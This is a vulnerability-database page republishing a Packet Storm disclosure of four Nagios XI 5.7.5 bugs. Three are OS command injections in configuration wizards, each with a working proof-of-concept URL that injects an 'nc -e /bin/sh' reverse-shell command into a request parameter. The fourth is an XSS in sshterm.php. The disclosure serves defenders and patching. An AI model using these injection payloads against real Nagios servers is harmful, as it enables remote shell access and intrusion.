Lucene search
K

Nagios XI 5.7.5 Remote Code Execution

🗓️ 26 Feb 2021 00:00:00Reported by fs0c-shType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 342 Views

Nagios XI 5.7.5 Remote Code Execution vulnerabilities in /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php, /usr/local/nagiosxi/html/includes/configwizards/switch/switch.inc.php and /usr/local/nagiosxi/html/includes/configwizards/cloud-vm/cloud-vm.inc.ph

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Nagios XI 5.7.5 Remote Code Execution Exploit
26 Feb 202100:00
zdt
0day.today
Nagios XI 5.7.5 Remote Code Execution Exploit
13 Feb 202300:00
zdt
ATTACKERKB
CVE-2021-25296
15 Feb 202100:00
attackerkb
ATTACKERKB
CVE-2021-25298
15 Feb 202100:00
attackerkb
ATTACKERKB
CVE-2021-25297
15 Feb 202100:00
attackerkb
Circl
CVE-2021-25296
15 Feb 202116:46
circl
Circl
CVE-2021-25297
15 Feb 202116:46
circl
Circl
CVE-2021-25298
7 Feb 202321:54
circl
Circl
CVE-2021-25299
15 Feb 202116:46
circl
CISA KEV Catalog
Nagios XI OS Command Injection
18 Jan 202200:00
cisa_kev
Rows per page
`# nagios-xi-5.7.5-bugs  
Bugs reported to Nagios XI  
  
  
## CVE-2021-25296  
  
### Code Location  
  
`/usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php`  
  
### Code snippet  
  
```php  
if (!empty($plugin_output_len)) {  
$disk_wmi_command .= " --forcetruncateoutput " . $plugin_output_len;  
$service_wmi_command .= " --forcetruncateoutput " . $plugin_output_len;  
$process_wmi_command .= " --forcetruncateoutput " . $plugin_output_len;  
}  
echo $disk_wmi_command;  
// Run the WMI plugin to get realtime info  
exec($disk_wmi_command, $disk_output, $disk_return_var);  
exec($service_wmi_command, $service_output, $service_return_var);  
exec($process_wmi_command, $process_output, $process_return_var);  
```  
  
### POC (Works with admin/non-admin authentication)  
  
`https://10.0.2.15/nagiosxi/config/monitoringwizard.php?update=1&nsp=50c0f98fe9018dc43c81672ad1aeed5fd3f9710f013381519e553f846b5c2a86&nextstep=3&wizard=windowswmi&check_wmic_plus_ver=1.65&plugin_output_len=&ip_address=127.0.0.1&domain=127.0.0.1&username=asdf&password=asdf&auth_file=&plugin_output_len=1024; nc -e /bin/sh 127.0.0.1 4444;&submitButton2=`  
  
The `plugin_output_len` variable here is not sanitized and can give `command execution`. Eg: `plugin_output_len=1024; nc -e /bin/sh 127.0.0.1 4444;`  
  
  
## CVE-2021-25297  
  
### Code Location  
  
`/usr/local/nagiosxi/html/includes/configwizards/switch/switch.inc.php`  
  
### Code Snippet  
  
```php  
function switch_configwizard_add_cfg_to_mrtg($address)  
{  
// get the data that we need  
$mrtg_confd_dir = "/etc/mrtg/conf.d";  
echo $address;  
$mrtg_cfg_file = "{$address}.cfg";  
$absolute_mrtg_cfg_file = "{$mrtg_confd_dir}/{$mrtg_cfg_file}";  
$cfgmaker_file = switch_configwizard_get_walk_file($address);  
// check if the file already exists for useful debugging  
$mrtg_confd_contents = scandir($mrtg_confd_dir);  
echo "REACHED HERE1";  
if (in_array($mrtg_cfg_file, $mrtg_confd_contents)) {  
debug("{$mrtg_cfg_file} exists in {$mrtg_confd_dir}, overwriting");  
} else {  
debug("{$mrtg_cfg_file} does not exist in {$mrtg_confd_dir}, creating");  
}  
echo "REACHED HERE2";  
// copy the cfgmaker file to the mrtg cfg destination  
echo $cfgmaker_file;  
echo $absolute_mrtg_cfg_file;  
if (!copy($cfgmaker_file, $absolute_mrtg_cfg_file)) {  
debug("Unable to copy from {$cfgmaker_file} to {$absolute_mrtg_cfg_file}");  
return false;  
}  
echo "REACHED HERE3";  
echo $absolute_mrtg_cfg_file;  
// add some meta info to the file  
$infoline = "#### ADDED BY NAGIOSXI (User: ". get_user_attr(0, 'username') .", DATE: ". get_datetime_string(time()) .") ####\n";  
exec("sed -i '1s|.*|{$infoline}&|' $absolute_mrtg_cfg_file");  
  
return true;  
}  
```  
  
### POC (Works with admin/non-admin authentication)  
  
```  
https://10.0.2.15/nagiosxi/config/monitoringwizard.php?update=1&nsp=4e4f78ca5c24c7c526dc86b23092b81c3231a7bf59e1eb67f9918b8daf7b6de9&nextstep=3&wizard=switch&ip_address=127.0.0.1;nc -e /bin/sh 127.0.0.1 4445;&port=161&snmpversion=2c&snmpopts%5Bsnmpcommunity%5D=public&snmpopts%5Bv3_security_level%5D=authPriv&snmpopts%5Bv3_username%5D=&snmpopts%5Bv3_auth_password%5D=&snmpopts%5Bv3_auth_proto%5D=MD5&snmpopts%5Bv3_priv_password%5D=&snmpopts%5Bv3_priv_proto%5D=DES&portnames=number&scaninterfaces=on&bulk_fields%5B%5D=ip_address&bulk_fields%5B%5D=&bulk_fields%5B%5D=&bulk_options=&bulk_fields%5B%5D=&bulk_fields%5B%5D=&warn_speed_in_percent=50&crit_speed_in_percent=80&warn_speed_out_percent=50&crit_speed_out_percent=80&default_port_speed=100&submitButton2=  
```  
  
The `ip_address` variable here is not sanitized and can give `command execution`. Eg: `ip_address=1024; nc -e /bin/sh 127.0.0.1 4444;`  
  
  
## CVE-2021-25298  
  
### Code path  
  
`/usr/local/nagiosxi/html/includes/configwizards/cloud-vm/cloud-vm.inc.php`  
  
### Code Snippet  
  
```php  
case CONFIGWIZARD_MODE_GETSTAGE2HTML:  
  
// echo ("reached here ============================");  
// Get variables that were passed to us  
$address = grab_array_var($inargs, "ip_address", ""); // [User input]  
$port = grab_array_var($inargs, "port", "");  
$token = grab_array_var($inargs, "token", "");  
$no_ssl_verify = grab_array_var($inargs, "no_ssl_verify", 1);  
$hostname = grab_array_var($inargs, 'hostname', gethostbyaddr($address));  
$default_mem_units = grab_array_var($inargs, 'default_mem_units', 'Gi');  
$tcp_check_port = grab_array_var($inargs, 'tcp_check_port', '5693');  
$rp_address = nagiosccm_replace_user_macros($address);  
$rp_port = nagiosccm_replace_user_macros($port);  
$rp_token = nagiosccm_replace_user_macros($token);  
$services_serial = grab_array_var($inargs, "services_serial", "");  
if ($services_serial) {  
$services = unserialize(base64_decode($services_serial));  
}  
// echo $rp_address;  
$not_used = array();  
$return_code = 0;  
$alternative_host_check = false;  
exec('ping -W 2 -c 1 ' . $rp_address, $not_used, $return_code); // [Bug here]  
```  
  
### POC (Works with admin/non-admin authentication)  
  
```  
https://10.0.2.15/nagiosxi/config/monitoringwizard.php?update=1&nsp=e2401df06a3892ba612df20e1ce2f559d7647c4b5fcba7f64c23c0ea9df1564f&nextstep=4&wizard=digitalocean&no_ssl_verify=1&ip_address=127.0.0.1;nc -e /bin/sh 127.0.0.1 4445;&port=5693&token=123&submitButton2=  
```  
  
The `ip_address` variable here is not sanitized and can give `command execution`. Eg: `ip_address=1024; nc -e /bin/sh 127.0.0.1 4444;`  
  
  
## CVE-2021-25299  
  
### Code Location  
  
`/usr/local/nagiosxi/html/admin/sshterm.php`  
  
### Code Snippet  
  
```php+HTML  
<?php if ($efe) { ?>  
<iframe src="<?php echo $url; ?>" style="width: 50%; min-width: 600px; height: 500px;"></iframe>  
<?php } else { ?>  
<div style="color: #FFF; font-size: 14px; font-family: consolas, courier-new; background-color: #000; padding: 2px 6px; overflow-y: scroll; width: 50%; min-width: 600px; height: 500px;">Enterprise features must be enabled</div>  
<?php  
}  
```  
  
### POC  
  
`https://10.0.2.15/nagiosxi/admin/sshterm.php?url=javascript:alert(1)`  
  
The `url` variable is not sanitized and can give `xss` .  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Feb 2021 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.93287
342